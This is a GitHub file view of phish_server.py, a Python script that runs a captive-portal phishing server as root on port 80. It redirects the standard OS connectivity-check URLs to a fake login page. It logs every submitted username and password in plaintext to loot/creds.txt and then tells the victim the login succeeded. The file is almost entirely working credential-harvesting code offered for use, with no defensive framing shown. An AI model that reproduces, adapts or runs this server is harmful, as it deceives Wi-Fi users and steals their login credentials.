-
Notifications
You must be signed in to change notification settings - Fork 16
Expand file tree
/
Copy pathphish_server.py
More file actions
53 lines (44 loc) · 1.67 KB
/
Copy pathphish_server.py
File metadata and controls
53 lines (44 loc) · 1.67 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from http.server import SimpleHTTPRequestHandler, HTTPServer
import urllib.parse
import os
import sys
def require_root():
if os.geteuid() != 0:
print(" Phish server must be run as root.")
sys.exit(1)
LOG_FILE = "loot/creds.txt"
class PhishHandler(SimpleHTTPRequestHandler):
def do_GET(self):
if self.path in ["/", "/index.html"]:
self.path = "/index.html"
elif self.path in [
"/hotspot-detect.html", "/generate_204",
"/ncsi.txt", "/connecttest.txt", "/captive-portal/"
]:
self.path = "/hotspot-detect.html"
return SimpleHTTPRequestHandler.do_GET(self)
def do_POST(self):
if self.path == "/login":
length = int(self.headers.get('Content-Length'))
post_data = self.rfile.read(length).decode('utf-8')
creds = urllib.parse.parse_qs(post_data)
username = creds.get("username", [""])[0]
password = creds.get("password", [""])[0]
with open(LOG_FILE, "a") as f:
f.write(f" USERNAME: {username} | PASSWORD: {password}\n")
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write("<h3> Login successful. You are now connected.</h3>".encode())
else:
self.send_error(404)
if __name__ == "__main__":
require_root()
os.chdir("loot")
server = HTTPServer(('0.0.0.0', 80), PhishHandler)
print(" Phishing server running on http://0.0.0.0:80 ...")
try:
server.serve_forever()
except KeyboardInterrupt:
print(" Server stopped.")
server.server_close()